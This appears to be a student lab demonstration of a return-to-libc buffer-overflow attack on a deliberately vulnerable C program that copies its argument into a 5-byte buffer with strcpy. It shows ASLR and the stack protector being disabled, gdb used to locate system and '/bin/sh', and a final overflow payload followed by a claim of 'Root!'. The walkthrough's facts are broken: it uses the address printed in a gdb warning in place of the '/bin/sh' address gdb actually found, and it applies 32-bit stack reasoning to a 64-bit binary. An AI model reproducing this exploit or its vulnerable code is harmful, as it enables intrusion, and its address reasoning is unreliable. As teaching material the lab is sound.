libc attack Demo

Bofin Babu
2013H313085H

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
 char buff[5];
 if(argc != 2){
 puts("Need an arguemnt!!");
 exit(1);
 }
 printf("Exploring via returning into libc function \n");
 strcpy(buff, argv[1]);
 printf("\n You typed [%s]\n\n", buff);
 return 0;
}
```

```
b05@Cisco-SG300-28:~$ ./retlib AAAAAAAAAA
Exploring via returning into libc function

 You typed [AAAAAAAAAA]

*** stack smashing detected ***: ./retlib terminated
Aborted (core dumped)
```

```
echo 0 > /proc/sys/kernel/randomize_va_space
```

```
gcc attack.c -o retlib -fno-stack-protector
```

```
b05@Cisco-SG300-28:~$ ./retlib AAAAAAAAAAAAAA
Exploring via returning into libc function

 You typed [AAAAAAAAAAAAAA]
```

```
b05@Cisco-SG300-28:~$ ./retlib `perl -e 'print "A" x 30'`
Exploring via returning into libc function

 You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Segmentation fault (core dumped)
```

b05@Cisco-SG300-28:~$ ulimit -c unlimited // when core file size is by default 0

b05@Cisco-SG300-28:~$ gcc -Wall -g attack.c -o retlib -fno-stack-protector
b05@Cisco-SG300-28:~$ ./retlib `perl -e 'print "A" x 32'`

b05@Cisco-SG300-28:~$ sudo gdb -q -c core
[New LWP 5823]
Core was generated by `./retlib
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x0000414141414141 in ?? ()
(gdb) Quit
(gdb) q

b05@Cisco-SG300-28:~$ sudo gdb -q retlib
Reading symbols from retlib...done.
(gdb) b main
Breakpoint 1 at 0x40061c: file attack.c, line 7.
(gdb) r
Starting program: /home/b05/retlib

Breakpoint 1, main (argc=1, argv=0x7fffffffe588) at attack.c:7
7   if(argc != 2){
(gdb) p system
$1 = {<text variable, no debug info>} 0x7ffff7a5b640 <__libc_system>
(gdb) q
A debugging session is active.

        Inferior 1 [process 6033] will be killed.

Quit anyway? (y or n) y

Therefore the System adress: 0x7ffff7a5b640

Now this should be the new return address

Finding the adress of /bin/sh
(gdb) print &system
$1 = (<text variable, no debug info> *) 0x7ffff7a5b640 <__libc_system>
(gdb) find &system,+9999999,"/bin/sh"
0x7ffff7b91cdb
warning: Unable to access 16000 bytes of target memory at 0x7ffff7bd4363, halting

search.
1 pattern found.
(gdb) q

(gdb) p exit
$2 = {<text variable, no debug info>} 0x7ffff7a51290 <__GI_exit>
(gdb) Quit

Therefore the address of /bin/sh is 0x7ffff7bd4363

EIP smash = 32-4= 28 (due to padding)

Noting the point that things are pushed onto the stack in the reverse order,

b05@Cisco-SG300-28:~$ ./retlib `perl -e 'printf "A" x 28 .
"\x40\xb6\xa5\xf7\xff\x7fABCD\x63\x43\xbd\xf7\xff\x7f";'`

Root!